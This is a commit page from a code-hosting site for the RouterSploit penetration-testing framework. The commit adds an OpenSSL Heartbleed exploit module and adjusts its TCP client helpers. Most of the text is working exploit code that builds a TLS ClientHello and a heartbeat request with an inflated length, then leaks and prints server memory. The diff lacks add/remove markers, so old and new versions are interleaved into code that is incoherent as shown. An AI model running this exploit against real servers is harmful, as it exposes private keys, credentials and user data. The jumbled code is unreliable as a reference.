Unverified Commit db145aaf by Marcin Bury Committed by GitHub

OpenSSL Heartbleed module (#409)

* Init heartbleed fixes

* Improving description

* Adding certificate parsing
parent a0d7e4ca
......@@ -55,6 +55,9 @@ class OptPort(Option):
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
def __get__(self, instance, owner):
return int(self.value)
class OptBool(Option):
""" Option Bool attribute """
......
......@@ -36,8 +36,9 @@ class TCPClient(Exploit):
print_status("Connection established")
return tcp_client
except Exception:
except Exception as err:
print_error("Could not connect")
print_error(err)
return None
......@@ -45,18 +46,22 @@ class TCPClient(Exploit):
if tcp_client:
if type(data) is bytes:
return tcp_client.send(data)
elif type(data) is str:
return tcp_client.send(bytes(data, "utf-8"))
else:
print_error("Data to send is not type of bytes or string")
print_error("Data to send is not type of bytes")
return None
def tcp_recv(self, tcp_client, num):
if tcp_client:
try:
response = tcp_client.recv(num)
return str(response, "utf-8")
response = b""
received = 0
while received < num:
tmp = tcp_client.recv(num - received)
received += len(tmp)
response += tmp
return response
except socket.timeout:
print_error("Socket did timeout")
......
import re
import binascii
import select
import socket
import struct
import time
from time import time
from struct import pack, unpack
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from routersploit.core.exploit import *
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.tcp.tcp_client import TCPClient
from future.builtins import range
class Exploit(TCPClient):
__info__ = {
'name': 'Heartbleed',
'description': 'Exploits Hearbleed vulnerability.',
'authors': [
'Jared Stafford <jspenguin[at]jspenguin.org>', # proof of concept python exploit
'Marcin Bury <marcin[at]threat9.com>', # routersploit module
],
'references': [
'http://www.cvedetails.com/cve/2014-0160',
'http://heartbleed.com/',
'https://www.us-cert.gov/ncas/alerts/TA14-098A',
'https://gist.github.com/takeshixx/10107280',
],
'devices': [
'Multi',
],
"name": "OpenSSL Heartbleed",
"description": "Exploits OpenSSL Heartbleed vulnerability. Vulnerability exists in the handling of heartbeat requests,"
" where fake length can be used to leak memory data in the response. This module is heavily based on "
" Metasploit module.",
"authors": (
"Neel Mehta", # vulnerability discovery
"Riku", # vulnerability discovery
"Antti", # vulnerability discovery
"Matti", # vulnerability discovery
"Jared Stafford <jspenguin[at]jspenguin.org>", # Original Proof of Concept. This module is based on it.
"FiloSottile", # PoC site and tool
"Christian Mehlmauer", # metasploit module
"wvu", # metasploit module
"juan vazquez", # metasploit module
"Sebastiano Di Paola", # metasploit module
"Tom Sellers", # metasploit module
"jjarmoc", # metasploit module; keydump, refactoring..
"Ben Buchanan", # metasploit module
"herself", # metasploit module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"http://www.cvedetails.com/cve/2014-0160",
"http://heartbleed.com/",
"https://www.us-cert.gov/ncas/alerts/TA14-098A",
"https://gist.github.com/takeshixx/10107280",
"https://github.com/FiloSottile/Heartbleed",
"http://filippo.io/Heartbleed/",
),
"devices": (
"Multi",
),
}
target_protocol = Protocol.HTTP
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(443, "Target HTTP port")
ssl = OptBool("SSL enabled: true/false")
def __init__(self):
self.hello = '''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
'''
self.hb = '''
18 03 02 00 03
01 40 00
'''
def h2bin(self, x):
return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
def hexdump(self, s):
for b in range(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
print_info(' %04x: %-48s %s' % (b, hxdat, pdat))
print_info()
def recvall(self, s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
try:
data = s.recv(remain)
except socket.error:
return None
tls_version = OptString("1.0", "TLS/SSL version to use: SSLv3, 1.0, 1.1, 1.2")
heartbeat_length = OptInteger(65535, "Heartbeat length")
if not data:
return None
CIPHER_SUITS = (
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
)
rdata += data
remain -= len(data)
return rdata
def recvmsg(self, s):
hdr = self.recvall(s, 5)
if hdr is None:
# Unexpected EOF receiving record header - server closed connection
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = self.recvall(s, ln, 10)
if pay is None:
# Unexpected EOF receiving record payload - server closed connection
return None, None, None # ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(self, s):
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
print_error("No heartbeat response received, server likely not vulnerable")
return False
SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
if typ == 24:
print_status("Received heartbeat response")
self.hexdump(pay)
if len(pay) > 3:
print_success("WARNING: server returned more data than it should - server is vulnerable!")
else:
print_error("Server processed malformed heartbeat, but did not return any extra data.")
return
TLS_VERSION = {
"SSLv3": 0x0300,
"1.0": 0x0301,
"1.1": 0x0302,
"1.2": 0x0303
}
def __init__(self):
self.tcp_client = None
self.leak = None
if typ == 21:
print_error("Server returned error, likely not vulnerable")
print_error("Exploit failed")
return
self.printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
self.white_chars = " \t\n\r\x0b\x0c"
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello))
except:
print_error("Connection failed: {}:{}".format(self.target, self.port))
return
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
print_error("Server closed connection without sending Server Hello.")
print_error("Exploit failed")
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
self.leak = self.bleed()
if self.leak:
data = ""
for l in self.leak:
char = chr(l)
if char in self.white_chars:
data += " "
elif char not in self.printable:
data += "."
else:
data += char
clean_data = ""
tmp_b = 0
for item in re.finditer(r"(\.){400,}", data):
a, b = item.span()
clean_data += data[tmp_b:a]
tmp_b = b
clean_data += "................................ repeated {} times ................................".format(b-a-64)
print_status("Sending heartbeat request")
s.send(self.h2bin(self.hb))
self.hit_hb(s)
clean_data += data[b:]
print_info(clean_data)
else:
print_error("Exploit failed - Target does not seem to be vulnerable")
@mute
def check(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello))
except socket.error:
return False # target is not vulnerable
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
return False # target is not vulnerable
if typ == 22 and ord(pay[0]) == 0x0E:
if self.bleed():
return True
return False
def bleed(self):
self.establish_connect()
print_status("Sending Heartbeat...")
heartbeat_req = self.heartbeat_request(self.heartbeat_length)
self.tcp_send(self.tcp_client, heartbeat_req)
hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
if not hdr:
print_error("No Heartbeat response...")
return False
record_type, version, length = unpack(">BHH", hdr)
if record_type != self.HEARTBEAT_RECORD_TYPE or version != self.TLS_VERSION[self.tls_version]:
print_error("Unexpected Hearbeat response header")
self.tcp_close(self.tcp_client)
heartbeat_data = self.tcp_recv(self.tcp_client, self.heartbeat_length)
print_success("Heartbeat response, {} bytes".format(len(heartbeat_data)))
self.tcp_close(self.tcp_client)
return heartbeat_data
def establish_connect(self):
self.tcp_client = self.tcp_connect()
print_status("Sending Client Hello...")
data = self.client_hello()
self.tcp_send(self.tcp_client, data)
server_response = self.get_server_hello()
if not server_response:
print_error("Server Hello not found")
return server_response
def get_server_hello(self):
server_done = False
ssl_record_counter = 0
remaining_data = self.get_ssl_record()
while remaining_data and len(remaining_data) > 0:
ssl_record_counter += 1
ssl_type, ssl_version, ssl_len = unpack(">BHH", remaining_data[:5])
print_status("SSL record {}".format(ssl_record_counter))
print_status("\tType: {}".format(ssl_type))
print_status("\tVersion: 0x{:x}".format(ssl_version))
print_status("\tLength: {}".format(ssl_len))
if ssl_type != self.HANDSHAKE_RECORD_TYPE:
print_status("\tWrong Record Type")
else:
ssl_data = remaining_data[5: 5 + ssl_len]
handshakes = self.parse_handshakes(ssl_data)
# Stop once we receive SERVER_HELLO_DONE
if handshakes and handshakes[-1]["type"] == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:
server_done = True
break
s.send(self.h2bin(self.hb))
remaining_data = self.get_ssl_record()
return server_done
def parse_handshakes(self, data):
remaining_data = data
handshakes = []
handshake_count = 0
while True:
typ, ver, pay = self.recvmsg(s)
if typ is None:
return False # target is not vulnerable
while remaining_data and len(remaining_data) > 0:
hs_type, hs_len_pad, hs_len = unpack(">BBH", remaining_data[:4])
hs_data = remaining_data[4: 4 + hs_len]
handshake_count += 1
print_status("\tHandshake {}".format(handshake_count))
print_status("\t\tLength: {}".format(hs_len))
if typ == 24:
if len(pay) > 3:
return True # target is vulnerable
handshake_parsed = None
if hs_type == self.HANDSHAKE_SERVER_HELLO_TYPE:
print_status("\t\tType: Server Hello ({})".format(hs_type))
handshake_parsed = self.parse_server_hello(hs_data)
elif hs_type == self.HANDSHAKE_CERTIFICATE_TYPE:
print_status("\t\tType: Certificate Data ({})".format(hs_type))
handshake_parsed = self.parse_certificate_data(hs_data)
elif hs_type == self.HANDSHAKE_KEY_EXCHANGE_TYPE:
print_status("\t\tType: Server Key Exchange ({})".format(hs_type))
elif hs_type == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:
print_status("\t\tType: Server Hello Done ({})".format(hs_type))
else:
return False # target is not vulnerable
print_status("\t\tType: Handshake type {} not implement".format(hs_type))
handshakes.append({
"type": hs_type,
"len": hs_len,
"data": handshake_parsed
})
remaining_data = remaining_data[4 + hs_len:]
return handshakes
def parse_server_hello(self, data):
version = unpack(">H", data[:2])[0]
print_status("\t\tServer Hello Version: 0x{:x}".format(version))
random = unpack(">" + "B"*32, data[2:34])
random_hex = str(binascii.hexlify(bytes(random)), "utf-8")
print_status("\t\tServer Hello random data: {}".format(random_hex))
session_id_length = unpack(">B", data[34:35])[0]
print_status("\t\tServer Hello Session ID length: {}".format(session_id_length))
session_id = unpack(">" + "B"*session_id_length, data[35: 35 + session_id_length])
session_id_hex = str(binascii.hexlify(bytes(session_id)), "utf-8")
print_status("\t\tServer Hello session id: {}".format(session_id_hex))
def parse_certificate_data(self, data):
cert_len_padding, cert_len = unpack(">BH", data[:3])
print_status("\t\tCertificates length: {}".format(cert_len))
print_status("\t\tData length: {}".format(len(data)))
#contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len:
cert_counter += 1
# get single certificate length
single_cert_len_padding, single_cert_len = unpack(">BH", data[already_read:already_read+3])
print_status("\t\tCertificate {}".format(cert_counter))
print_status("\t\t\tCertificate {}: Length: {}".format(cert_counter, single_cert_len))
certificate_data = data[(already_read + 3): (already_read+3+single_cert_len)]
cert = x509.load_der_x509_certificate(certificate_data, default_backend())
print_status("\t\t\tCertificate {}: {}".format(cert_counter, cert))
already_read = already_read + single_cert_len + 3
def get_ssl_record(self):
hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
if hdr:
length = unpack(">BHH", hdr)[2]
data = self.tcp_recv(self.tcp_client, length)
hdr += data
return hdr
return None
def client_hello(self):
# user current time for TLS time
time_epoch = int(time())
cipher_suits_len = len(self.CIPHER_SUITS)
hello_data = pack(">H", self.TLS_VERSION[self.tls_version]) # Version TLS
hello_data += pack(">L", time_epoch) # Time in epoch format
hello_data += bytes(utils.random_text(28), "utf-8") # Random
hello_data += b"\x00" # Session ID length
hello_data += pack(">H", cipher_suits_len * 2) # Cipher Suits Length (102)
hello_data += pack(">" + "H" * cipher_suits_len, *self.CIPHER_SUITS) # Cipher Suites
hello_data += b"\x01" # Compression methods length (1)
hello_data += b"\x00" # Compression methods: null
hello_data_extensions = b"\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions += b"\x00\x01" # Extension length
hello_data_extensions += b"\x01" # Extension data
hello_data += pack(">H", len(hello_data_extensions))
hello_data += hello_data_extensions
data = b"\x01\x00" # Handshake Type: Client Hello (1)
data += pack(">H", len(hello_data)) # Length
data += hello_data
return self.ssl_record(self.HANDSHAKE_RECORD_TYPE, data)
def heartbeat_request(self, length):
payload = b"\x01" # Heartbeat Message Type: Request (1)
payload += pack(">H", length)
return self.ssl_record(self.HEARTBEAT_RECORD_TYPE, payload)
if typ == 21:
return False # target is not vulnerable
def ssl_record(self, record_type, data):
record = pack(">BHH", record_type, self.TLS_VERSION[self.tls_version], len(data))
record += data
return record
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment